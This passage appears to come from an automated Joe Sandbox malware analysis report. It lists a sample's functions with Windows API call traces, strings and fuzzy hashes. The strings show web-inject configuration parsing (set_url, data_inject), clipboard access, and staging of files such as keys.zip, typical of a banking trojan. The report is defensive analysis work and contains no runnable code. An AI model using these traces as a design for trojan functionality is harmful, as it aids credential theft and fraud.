                                                                                                                                                                                                                        • Part of subcall function 02719780: CreateFileA.KERNEL32(02703CE8,40000000,00000003,00000000,00000002,00000080,00000000,?,02703CE8,?), ref: 02719802
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000000,00000000,?,02703CE8,?), ref: 02719825
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapValidate.KERNEL32(00000000,?,02703CE8,?), ref: 02719828
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000000,00000000,?,02703CE8,?), ref: 02719834
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapFree.KERNEL32(00000000,?,02703CE8,?), ref: 02719837
                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,75BFBF00), ref: 02711258
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2620,?,75BFBF00), ref: 02711277
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000,?,75BFBF00), ref: 027112DB
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?,?,75BFBF00), ref: 027112E8
                                                                                                                                                                                                                        • Part of subcall function 02719910: LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,74DF0F00), ref: 02719991
                                                                                                                                                                                                                        • Part of subcall function 02719910: _snprintf.MSVCRT(00000000,00000104,%s\*,00000000), ref: 027199AD
                                                                                                                                                                                                                        • Part of subcall function 02719910: FindFirstFileA.KERNEL32(00000000,?), ref: 027199BC
                                                                                                                                                                                                                        • Part of subcall function 02719910: LocalFree.KERNEL32(00000000), ref: 027199C9
                                                                                                                                                                                                                        • Part of subcall function 02719910: wsprintfA.USER32(?,%s\%s,00000000,0000002E), ref: 02719A08
                                                                                                                                                                                                                        • Part of subcall function 02719910: wsprintfA.USER32(00000000,%s\%s,00000000,?), ref: 02719A16
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileHeap$AllocFreePathProcess$AttributesBackslashCreateDirectoryErrorLastLocalVirtualwsprintf$#680CurrentDeleteFindFirstFolderMakeModuleNameSystemValidate_snprintflstrcpynmemset
                                                                                                                                                                                                                      • String ID: 26EE2620$\$inter.zip$path.txt
                                                                                                                                                                                                                      • API String ID: 2230608801-423903438
                                                                                                                                                                                                                      • Opcode ID: 3914b07f22aeaa36897a2c5a88f0325e7b8a953b8864e4eee8bf265268e08cb0
                                                                                                                                                                                                                      • Instruction ID: 73e1efbca6898e288e4b1b3b4300bc24c559bb08a3a97595f0773582bfcc3cbe
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3914b07f22aeaa36897a2c5a88f0325e7b8a953b8864e4eee8bf265268e08cb0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4B612C70A006099FDB16CB389C98BEBBBE5BF49301F548594EAC9DB251DF70D548CB90
                                                                                                                                                                                                                      Function 027128F0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 189memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192,?,?,00000000), ref: 02712920
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000), ref: 02712961
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,00000000), ref: 0271296B
                                                                                                                                                                                                                      • #680.SHELL32(?,?,00000000), ref: 02712973
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02712984
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0271298B
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 027129BF
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?,?,?,00000000), ref: 027129CC
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?,?,?,00000000), ref: 02712A10
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,?,00000000), ref: 02712A2C
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 02712A49
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: DirectoryErrorFileLastPath$#680AllocAttributesBackslashCreateCurrentFolderMakeModuleNameSystemVirtuallstrcpyn
                                                                                                                                                                                                                      • String ID: 26EE2192$\$path.txt$rfk.zip
                                                                                                                                                                                                                      • API String ID: 1623271082-1072493686
                                                                                                                                                                                                                      • Opcode ID: 5b9fb9361b3263713fc75ec5cc1aff3db91d6cbe0fca18cbf4dbf996c8330ba0
                                                                                                                                                                                                                      • Instruction ID: b8e0f0666d9a84efa83cd67c5462a06d79834d0309988c010e016613b67a3d29
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5b9fb9361b3263713fc75ec5cc1aff3db91d6cbe0fca18cbf4dbf996c8330ba0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E361467094026A9FDB228B3C9C58BEB7BE5AF49301F548594EDC5D7282DF709988CB90
                                                                                                                                                                                                                      Function 02701320 Relevance: 31.8, APIs: 16, Strings: 5, Instructions: 275memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB20,00000000,00000000,00000000,?,02701A39), ref: 02701330
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000020,?,02701A39), ref: 02701398
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,02701A39), ref: 0270139F
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027395CC,027395BC,set_url ,?,02701A39), ref: 0270141F
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027395D0), ref: 02701439
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027395D4), ref: 02701453
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027395D8), ref: 0270146D
                                                                                                                                                                                                                      • strstr.MSVCRT(00000001,data_before), ref: 02701497
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000020), ref: 027014B4
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 027014BB
                                                                                                                                                                                                                      • strstr.MSVCRT(-00000003,data_before,data_after,data_inject,data_before), ref: 027015E4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270161C
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270161F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270162C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270162F
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB20,?,02701A39), ref: 0270163A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$strstr$Process$AllocCriticalSection$EnterFreeLeaveValidate
                                                                                                                                                                                                                      • String ID: data_after$data_before$data_end$data_inject$set_url
                                                                                                                                                                                                                      • API String ID: 2387113551-2328515424
                                                                                                                                                                                                                      • Opcode ID: c98746adc901fb7e676fbf6c0c66d354c2ad05c34be539d26d93b07abfc8c149
                                                                                                                                                                                                                      • Instruction ID: 0a2d96888fd71b969250d3ea525b15e7abf0d679c91e0cac6bccccbedbca64f3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c98746adc901fb7e676fbf6c0c66d354c2ad05c34be539d26d93b07abfc8c149
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FFA1F571900341DFDB22CF34C4987AABFE1AF45344F5485ACD88B8B682EB72D609CB91
                                                                                                                                                                                                                      Function 026FE000 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 211synchronizationwindowtimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: GetDesktopWindow.USER32(74DF30D0,?,?,74DF30D0,?,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDF8E
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: RealChildWindowFromPoint.USER32(00000000,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDF95
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: IsWindowVisible.USER32(00000000,74DF30D0,?,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDFC1
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: GetParent.USER32(00000000,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDFC8
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: GetWindowLongA.USER32(00000000,000000EC,74DF30D0,?,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDFD3
                                                                                                                                                                                                                        • Part of subcall function 026FDF80: WindowFromPoint.USER32(74DF30D0,?,?,026FE016,?,026FA857,?,74DF30D0,?), ref: 026FDFE8
                                                                                                                                                                                                                      • RealChildWindowFromPoint.USER32(?,?,026FA857,?,026FA857,?,74DF30D0,?), ref: 026FE037
                                                                                                                                                                                                                      • SendMessageTimeoutA.USER32(00000000,00000084,00000000,026FA857,00000002,00000064,?,?,026FA857,?,74DF30D0,?), ref: 026FE05D
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FE081
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 026FE092
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 026FE09D
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 026FE0BB
                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 026FE0C6
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,026FA857), ref: 026FE0D2
                                                                                                                                                                                                                      • GetAncestor.USER32(00000000,00000002), ref: 026FE0E6
                                                                                                                                                                                                                      • GetWindowInfo.USER32(?,?), ref: 026FE129
                                                                                                                                                                                                                      • PtInRect.USER32(?,?,026FA857), ref: 026FE154
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 026FE174
                                                                                                                                                                                                                      • SendMessageTimeoutA.USER32(00000000,00000084,00000000,026FA857,00000002,00000064,000000FF), ref: 026FE1A3
                                                                                                                                                                                                                      • MapWindowPoints.USER32(?,?,00000000,00000001), ref: 026FE1D0
                                                                                                                                                                                                                      • RealChildWindowFromPoint.USER32(?,00000000,?), ref: 026FE1DB
                                                                                                                                                                                                                      • MapWindowPoints.USER32(?,00000000,00000000,00000001), ref: 026FE1F7
                                                                                                                                                                                                                      • RealChildWindowFromPoint.USER32(00000000,00000000,?), ref: 026FE202
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$Long$FromPoint$ChildReal$MessagePointsSendTimeout$AncestorDesktopInfoMutexObjectParentRectReleaseSingleVisibleWait
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 1846550538-4251816714
                                                                                                                                                                                                                      • Opcode ID: 5805434eeb68732cac5f3a6e52df010bc7b7804ca3f55f3cb3dc1bd124c762c1
                                                                                                                                                                                                                      • Instruction ID: 3721cd2e5a325b8c2615b57866de2e1675446c3b1eed06abb888bf6821b3b583
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5805434eeb68732cac5f3a6e52df010bc7b7804ca3f55f3cb3dc1bd124c762c1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6361A176A40215ABDF24DE58DC84EBE77A9EB88722F108609FE11A73D0DB71DC11C7A1
                                                                                                                                                                                                                      Function 027138F0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 189memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D098), ref: 02713920
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02713961
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0271396B
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02713973
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02713984
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0271398B
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 027139BF
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 027139CC
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 02713A10
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 02713A2C
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02713A49
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: DirectoryErrorFileLastPath$#680AllocAttributesBackslashCreateCurrentFolderMakeModuleNameSystemVirtuallstrcpyn
                                                                                                                                                                                                                      • String ID: \$path.txt$stf.zip
                                                                                                                                                                                                                      • API String ID: 1623271082-487659054
                                                                                                                                                                                                                      • Opcode ID: e2373f48a5e2cdab6f69af308d66085d2f5fb6a5972fb949a69eaa8d9986ce53
                                                                                                                                                                                                                      • Instruction ID: d6a26dab1cc49d97b847ad8439f4df528a208d5aa4b720a3126e4d2a8fc02f71
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2373f48a5e2cdab6f69af308d66085d2f5fb6a5972fb949a69eaa8d9986ce53
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E6147709402599FDB21CB389C58BEB7BE5EF4A301F4485D4E9CADB290DF709948CB90
                                                                                                                                                                                                                      Function 0270B1D0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 189memoryfilestringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 0270B1F0
                                                                                                                                                                                                                        • Part of subcall function 0270B110: PathAddBackslashA.SHLWAPI(26EE250A), ref: 0270B137
                                                                                                                                                                                                                        • Part of subcall function 0270B110: GetFileAttributesA.KERNEL32(?), ref: 0270B175
                                                                                                                                                                                                                        • Part of subcall function 0270B110: PathFileExistsA.SHLWAPI(?), ref: 0270B1B9
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A), ref: 0270B238
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0270B2A0
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270B2AD
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A,?,?), ref: 0270B2E7
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270B36A
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 0270B37E
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 0270B391
                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000), ref: 0270B3C0
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A), ref: 0270B3CB
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270B3EE
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270B3F1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270B3FE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270B401
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashFileHeap$AttributesFreeProcessVirtual$AllocCurrentDeleteDirectoryExistsValidatelstrcpynmemset
                                                                                                                                                                                                                      • String ID: 26EE250A$5NT$keys.zip$path.txt
                                                                                                                                                                                                                      • API String ID: 2685098104-3279193369
                                                                                                                                                                                                                      • Opcode ID: 1a6c0e368a32728cddac86204771d713753be48d32f8e3b99d84ab06cc5e72f7
                                                                                                                                                                                                                      • Instruction ID: e0819d645bd00fcdcf0630c5ebd4a729e25281ca7277bd5cd0c6e165b976cf10
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1a6c0e368a32728cddac86204771d713753be48d32f8e3b99d84ab06cc5e72f7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80516870940349DFDB128B389CE8BAB7FE4EF4A309F148594EA85D7291DBB1994CC790
                                                                                                                                                                                                                      Function 02718890 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 187COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetFileType.KERNEL32(?,00000000,00000000), ref: 02718899
                                                                                                                                                                                                                      • GetFileInformationByHandle.KERNEL32(?,?), ref: 027188B6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$HandleInformationType
                                                                                                                                                                                                                      • String ID: ,D0<$,D0<$D0<$D0<
                                                                                                                                                                                                                      • API String ID: 4064226416-1748840775
                                                                                                                                                                                                                      • Opcode ID: bea76629cdf7133cfed0ca8bd46945663ab07af6237a30ca2941f6374cd597d0
                                                                                                                                                                                                                      • Instruction ID: 1e27e6669138ae58c4d3d23fb6932be0c275e770bbf4c5fa6f70f45cdfd44c43
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bea76629cdf7133cfed0ca8bd46945663ab07af6237a30ca2941f6374cd597d0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA516F71D40229ABEB14CFA8DC89BFEBB78FF48701F548529E905EB180D7749940CB96
                                                                                                                                                                                                                      Function 0270317E Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 297memorythreadclipboardCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270323D
                                                                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0270325E
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 0270327F
                                                                                                                                                                                                                      • GetGUIThreadInfo.USER32(00000000), ref: 02703286
                                                                                                                                                                                                                      • GetOpenClipboardWindow.USER32 ref: 0270329C
                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 027032AA
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,?,00000000,000000FF,?,?,?,?), ref: 027032D8
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000013), ref: 027032FA
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02703301
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000013), ref: 02703311
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0270332E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270337B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270337E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270338B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270338E
                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 02703399
                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000,00000000,00000001), ref: 027033DF
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$GlobalProcess$ByteCharMultiThreadUnlockWideWindowmemset$ActiveAllocClipboardCurrentFreeInfoLockOpenValidate
                                                                                                                                                                                                                      • String ID: 0
                                                                                                                                                                                                                      • API String ID: 3472172748-4108050209
                                                                                                                                                                                                                      • Opcode ID: 3a772fa01205d9de7fed43831b948c1c3700bb1b435c14654a1c434811654093
                                                                                                                                                                                                                      • Instruction ID: 05fed2b4508f3f2f07277d5045533fdc86146f70f680f6b7d2fe30e5cd3889c8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3a772fa01205d9de7fed43831b948c1c3700bb1b435c14654a1c434811654093
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B541E272604311EBD7209B659CCCF6BBBE8FF89715F044A58F944D7280DB70D61886A1
                                                                                                                                                                                                                      Function 027106C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 116memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetFileSizeEx.KERNEL32(?,?,00000000,00000000,75B07390,?,026F148C,00000000,?), ref: 027106FA
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,026F148C,00000000,?), ref: 02710719
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026F148C,00000000,?), ref: 02710720
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?,?,026F148C,00000000,?), ref: 02710738
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32 ref: 02710753
                                                                                                                                                                                                                      • LockFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 02710764
                                                                                                                                                                                                                      • ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 02710774
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(?,?,00000000,?,00000000), ref: 02710789
                                                                                                                                                                                                                      • StrStrA.SHLWAPI(00000000,BEGIN SIGNATURE), ref: 027107A2
                                                                                                                                                                                                                      • StrStrA.SHLWAPI(00000000,END SIGNATURE), ref: 027107AE
                                                                                                                                                                                                                      • SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,75B07390,?,026F148C,00000000,?), ref: 027107CB
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026F148C,00000000,?), ref: 027107DE
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,026F148C,00000000,?), ref: 027107E1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,026F148C,00000000,?), ref: 027107EE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,026F148C,00000000,?), ref: 027107F1
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileHeap$Process$Pointer$AllocFreeLockReadSizeUnlockValidatememset
                                                                                                                                                                                                                      • String ID: BEGIN SIGNATURE$END SIGNATURE
                                                                                                                                                                                                                      • API String ID: 373673121-4158457813
                                                                                                                                                                                                                      • Opcode ID: dbca64a32536f0d490ae14e3d6355df798d2716da94383453984084b03483c26
                                                                                                                                                                                                                      • Instruction ID: 8d0f6e1f6149b6860403ce82651e947cce8d26f42ec4bf218c9ff621937125a3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dbca64a32536f0d490ae14e3d6355df798d2716da94383453984084b03483c26
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DC31D2B1A91312AFE7209F688C49F2BBBACFF88B15F404A19F944D6180D770D8408BA5
